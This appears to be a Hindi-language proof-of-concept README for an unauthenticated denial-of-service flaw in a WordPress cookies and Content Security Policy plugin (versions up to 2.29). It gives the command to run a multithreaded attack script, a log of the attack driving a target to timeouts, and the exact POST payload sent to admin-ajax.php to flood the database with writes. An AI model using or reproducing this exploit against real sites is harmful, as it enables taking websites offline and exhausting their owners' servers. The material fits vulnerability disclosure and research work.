
jonkastonka Cookies and Content Security Policy प्लगइन (संस्करण 2.29 तक) की AJAX एंडपॉइंट कार्यक्षमता में अनुचित अभिगम नियंत्रण
jonkastonka Cookies and Content Security Policy प्लगइन में संस्करण 2.29 तक AJAX एंडपॉइंट कार्यक्षमता में अनुचित एक्सेस नियंत्रण, रिमोट हमलावरों को wp_ajax_nopriv_cacsp_insert_consent_data एंडपॉइंट पर असीमित डेटाबेस लेखन कार्यों के माध्यम से सेवा से वंचित (डेटाबेस सर्वर संसाधन थकावट) करने की अनुमति देता है।
यह भेद्यता cacsp_insert_consent_data() फ़ंक्शन में मौजूद है, जो WordPress के AJAX एंडपॉइंट (wp-admin/admin-ajax.php) के माध्यम से प्रमाणीकरण आवश्यकताओं के बिना उजागर होता है। प्लगइन wp_ajax_nopriv_ एक्शन का उपयोग करता है, जिससे यह बिना प्रमाणीकरण वाले उपयोगकर्ताओं के लिए सुलभ हो जाता है।
हमला वेक्टर: रिमोट हमलावर असीमित समवर्ती POST अनुरोध भेजकर डेटाबेस सर्वर को लेखन कार्यों से अभिभूत कर सकते हैं, जिससे CPU और डिस्क I/O थकावट होती है।
requestsmatplotlibthreadingPoC स्क्रिप्ट का मूल उपयोग इस प्रकार है:
python payload.py --target <target_url> --threads <number_of_threads>
डिफ़ॉल्ट रूप से, थ्रेड्स की संख्या 100 निर्धारित है। आप इसे दूसरे तर्क के रूप में प्रदान करके थ्रेड्स की एक अलग संख्या निर्दिष्ट कर सकते हैं।

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
एक्सप्लॉइट /wp-admin/admin-ajax.php पर POST अनुरोध भेजता है:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
प्रत्येक सफल अनुरोध डेटाबेस में एक नई पंक्ति सम्मिलित करता है, जिसमें शामिल है:
परिणाम: ~89 बाइट्स प्रति अनुरोध × असीमित अनुरोध = तीव्र डेटाबेस वृद्धि
यह PoC केवल शैक्षिक उद्देश्यों के लिए है। लेखक इस कोड के उपयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। किसी भी सिस्टम पर परीक्षण करने से पहले हमेशा अनुमति प्राप्त करें।